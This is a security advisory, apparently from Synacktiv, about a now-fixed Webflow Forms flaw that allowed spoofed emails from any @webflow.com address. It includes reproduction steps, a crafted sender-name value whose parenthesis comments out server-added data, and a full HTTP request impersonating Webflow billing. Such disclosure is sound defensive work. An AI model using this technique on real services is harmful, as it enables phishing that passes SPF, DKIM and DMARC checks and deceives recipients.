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Vulnerability description
1.  Pre  sentation of Webflow
“Webflow is a design and web development tool, ecommerce, CMS, and hosting platform.”1

2.  Iss  ue
The Webflow Forms feature can be used to send arbitrary emails from Webflow’s email servers. The
following elements can be fully controlled by the attacker:

 Recipient address

 Sender address

 Sender name

 Mail subject

 Mail content (as HTML)

This vulnerability allows attacker-controlled phishing emails to be sent from an arbitrary @webflow.com
address, and could be exploited to target Webflow customers or employees.

3.  Tim  eline

Date Description
2022.09.22 Vulnerability identified and exploited by Synacktiv in a spear-phishing campaign.

2022.10.17 Advisory sent to Webflow.

2023.03.23 Vulnerability fixed by Webflow.

2023.05.17 Public release.

1 https://webflow.com    
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https://webflow.com/


Technical description
4.  Des  cription
The following steps allow sending arbitrary emails from Webflow’s email servers:

1. Create a site on Webflow.

2. Add a form element to it.

3. Go under the Forms tab of the site settings, and set the following values:

 From Name: Sender Name<sender-email@webflow.com>(

 Send form submissions to: recipient@example.com

 Subject Line: Arbitrary Subject

 Email Template:

<!DOCTYPE html>
<html>

[...]

Arbitrary HTML content
[...]

</html>
<div style="color: white; display: none;">

Some of these values are  refused by the front-end of the application but  are not  validated on the
server side, and can thus be modified in the HTTP request:

PUT /api/sites/attacker-webflow-site/forms HTTP/1.1
Host: webflow.com

Cookie: [...]
Content-Type: application/json;charset=utf-8

Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest

Content-Length: 36099
[...]

{

    emailFormFromLabel: "Webflow Billing<billing@webflow.com>(",
    emailFormTarget: "antoine.carrincazeaux@synacktiv.com",
    emailFormSubject: "Update your billing information",
    emailFormTemplate: "<!DOCTYPE html>
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      <html lang=\"en\">
      [...]
      </html>
      <div style=\"color: white; display: none;\">",
    emailFormOptions: {
        incSubInfo: false,

        incUnsubLink: true
    }

}

It is worth noticing that the parenthesis added at the end of the "From Name" field corresponds to the
opening of a comment, and thus allows to ignore the data concatenated to this field by the server.

4. Validate the form with any data on the created site, to trigger the sending of the email.
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Illustration 1: Values allowing to send an arbitrary email from Webflow forms feature.



5.  Imp  act
An attacker can use this functionality to send spam or phishing emails from a trusted mail server. Any
@webflow.com email  address  can  be  used  as  a  sender address  and  pass  SPF,  DKIM and  DMARC
checks.

As an example, the following phishing email was sent by exploiting Webflow’s forms feature:
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Illustration 2: Phishing email example sent through the forms feature.



The email was not detected as spam by the recipient’s email server, as it was sent legitimately through
Webflow’s Mailjet subscription by a legitimate address (billing@webflow.com  ):

All these elements make it significantly difficult for the victim of such a phishing attempt to detect the
malicious aspect of the email.
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Illustration 3: The malicious email passes the SPF, DKIM and DMARC security checks.

mailto:billing@webflow.com


01 45 79 74 75

contact@synacktiv.com

5 boulevard Montmartre

75002 – PARIS

www.synacktiv.com
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